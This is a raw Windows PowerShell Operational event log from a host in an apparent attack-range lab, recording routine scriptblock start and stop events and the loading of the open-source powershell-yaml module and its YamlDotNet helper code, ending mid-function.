LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469209
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469208
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469207
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469206
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469205
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469204
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469203
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469202
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469201
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469200
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469199
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469198
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469197
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469196
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469195
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469329
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469328
Keywords=None
Message=Completed invocation of ScriptBlock ID: c4b284fb-e393-4c1a-8b6e-49ef7b48fb6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469326
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469325
Keywords=None
Message=Started invocation of ScriptBlock ID: c4b284fb-e393-4c1a-8b6e-49ef7b48fb6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469324
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: c4b284fb-e393-4c1a-8b6e-49ef7b48fb6a
Path:
06/15/2021 05:00:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469323
Keywords=None
Message=Completed invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469322
Keywords=None
Message=Started invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469321
Keywords=None
Message=Completed invocation of ScriptBlock ID: fa43fc60-cc8d-4d84-9337-5f3a3a3dbea0
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469336
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 219d2b08-afc5-4827-b5af-fbe35161133f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469334
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469333
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469332
Keywords=None
Message=Started invocation of ScriptBlock ID: 219d2b08-afc5-4827-b5af-fbe35161133f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469331
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: 219d2b08-afc5-4827-b5af-fbe35161133f
Path:
06/15/2021 05:00:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469330
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469343
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469342
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2101f464-6637-4080-a55b-d8b5808e03ca
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469340
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469339
Keywords=None
Message=Started invocation of ScriptBlock ID: 2101f464-6637-4080-a55b-d8b5808e03ca
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469338
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: 2101f464-6637-4080-a55b-d8b5808e03ca
Path:
06/15/2021 05:00:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469337
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469374
Keywords=None
Message=Completed invocation of ScriptBlock ID: 41a17d9d-9df5-4718-a2c2-1ded2d9fa938
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4103
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Executing Pipeline
OpCode=To be used when operation is just executing a method
RecordNumber=1469373
Keywords=None
Message=CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using System;
using System.Text.RegularExpressions;
using YamlDotNet;
using YamlDotNet.Core;
using YamlDotNet.Serialization;
using YamlDotNet.Serialization.EventEmitters;
public class StringQuotingEmitter: ChainedEventEmitter {
// Patterns from https://yaml.org/spec/1.2/spec.html#id2804356
private static Regex quotedRegex = new Regex(@"^(\~|null|true|false|-?(0|[0-9][0-9]*)(\.[0-9]*)?([eE][-+]?[0-9]+)?)?$", RegexOptions.Compiled);
public StringQuotingEmitter(IEventEmitter next): base(next) {}
public override void Emit(ScalarEventInfo eventInfo, IEmitter emitter) {
var typeCode = eventInfo.Source.Value != null
? Type.GetTypeCode(eventInfo.Source.Type)
: TypeCode.Empty;
switch (typeCode) {
case TypeCode.Char:
if (Char.IsDigit((char)eventInfo.Source.Value)) {
eventInfo.Style = ScalarStyle.DoubleQuoted;
}
break;
case TypeCode.String:
var val = eventInfo.Source.Value.ToString();
if (quotedRegex.IsMatch(val))
{
eventInfo.Style = ScalarStyle.DoubleQuoted;
} else if (val.IndexOf('\n') > -1) {
eventInfo.Style = ScalarStyle.Literal;
}
break;
}
base.Emit(eventInfo, emitter);
}
public static SerializerBuilder Add(SerializerBuilder builder) {
return builder.WithEventEmitter(next => new StringQuotingEmitter(next));
}
}"
ParameterBinding(Add-Type): name="ReferencedAssemblies"; value="C:\Users\Administrator\Documents\WindowsPowerShell\Modules\powershell-yaml\0.4.2\lib\net45\YamlDotNet.dll, C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll"
ParameterBinding(Add-Type): name="Language"; value="CSharp"
Context:
Severity = Informational
Host Name = ConsoleHost
Host Version = 5.1.14393.4402
Host ID = b0030b64-c114-4765-a95a-dacf53f2747d
Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Engine Version = 5.1.14393.4402
Runspace ID = c5f1100c-56fc-4347-871f-80d397213539
Pipeline ID = 23
Command Name = Add-Type
Command Type = Cmdlet
Script Name = C:\Users\Administrator\Documents\WindowsPowerShell\Modules\powershell-yaml\0.4.2\powershell-yaml.psm1
Command Path =
Sequence Number = 62
User = ATTACKRANGE\administrator
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469372
Keywords=None
Message=Completed invocation of ScriptBlock ID: a81fea89-2a48-4f7b-8555-dcfece0367bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469371
Keywords=None
Message=Completed invocation of ScriptBlock ID: a6caceea-8446-4eb7-abae-4a901318fa07
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469370
Keywords=None
Message=Started invocation of ScriptBlock ID: a6caceea-8446-4eb7-abae-4a901318fa07
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469369
Keywords=None
Message=Started invocation of ScriptBlock ID: a81fea89-2a48-4f7b-8555-dcfece0367bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469368
Keywords=None
Message=Started invocation of ScriptBlock ID: 41a17d9d-9df5-4718-a2c2-1ded2d9fa938
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469367
Keywords=None
Message=Creating Scriptblock text (1 of 1):
# Copyright 2016 Cloudbase Solutions Srl
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
#
$here = Split-Path -Parent $MyInvocation.MyCommand.Path
$assemblies = Join-Path $here "Load-Assemblies.ps1"
if (Test-Path $assemblies) {
. $here\Load-Assemblies.ps1
}
function Get-YamlDocuments {
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true, ValueFromPipeline=$true)]
[string]$Yaml,
[switch]$UseMergingParser=$false
)
PROCESS {
$stringReader = new-object System.IO.StringReader($Yaml)
$parser = New-Object "YamlDotNet.Core.Parser" $stringReader
if($UseMergingParser) {
$parser = New-Object "YamlDotNet.Core.MergingParser" $parser
}
$yamlStream = New-Object "YamlDotNet.RepresentationModel.YamlStream"
$yamlStream.Load([YamlDotNet.Core.IParser] $parser)
$stringReader.Close()
return $yamlStream
}
}
function Convert-ValueToProperType {
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true,ValueFromPipeline=$true)]
[System.Object]$Node
)
PROCESS {
if (!($Node.Value -is [string])) {
return $Node
}
if ($Node.Style -eq 'Plain')
{
$types = @([int], [long], [double], [boolean], [decimal])
foreach($i in $types){
$parsedValue = New-Object -TypeName $i.FullName
if ($i.IsAssignableFrom([boolean])){
$result = $i::TryParse($Node,[ref]$parsedValue)
} else {
$result = $i::TryParse($Node, [Globalization.NumberStyles]::Any, [Globalization.CultureInfo]::InvariantCulture, [ref]$parsedValue)
}
if( $result ) {
return $parsedValue
}
}
}
# From the YAML spec: http://yaml.org/type/timestamp.html
$regex = @'
[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9] # (ymd)
|[0-9][0-9][0-9][0-9] # (year)
-[0-9][0-9]? # (month)
-[0-9][0-9]? # (day)
([Tt]|[ \t]+)[0-9][0-9]? # (hour)
:[0-9][0-9] # (minute)
:[0-9][0-9] # (second)
(\.[0-9]*)? # (fraction)
(([ \t]*)Z|[-+][0-9][0-9]?(:[0-9][0-9])?)? # (time zone)
'@
if([Text.RegularExpressions.Regex]::IsMatch($Node.Value, $regex, [Text.RegularExpressions.RegexOptions]::IgnorePatternWhitespace) ) {
[DateTime]$datetime = [DateTime]::MinValue
if( ([DateTime]::TryParse($Node.Value,[ref]$datetime)) ) {
return $datetime
}
}
if ($Node.Style -eq 'Plain' -and $Node.Value -in '','~','null','Null','NULL') {
return $null
}
return $Node.Value
}
}
function Convert-YamlMappingToHashtable {
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true, ValueFromPipeline=$true)]
[YamlDotNet.RepresentationModel.YamlMappingNode]$Node,
[switch] $Ordered
)
PROCESS {
if ($Ordered) { $ret = [ordered]@{} } else { $ret = @{} }
foreach($i in $Node.Children.Keys) {
$ret[$i.Value] = Convert-YamlDocumentToPSObject $Node.Children[$i] -Ordered:$Ordered
}
return $ret
}
}
function Convert-YamlSequenceToArray {
[CmdletBinding()]
Param(
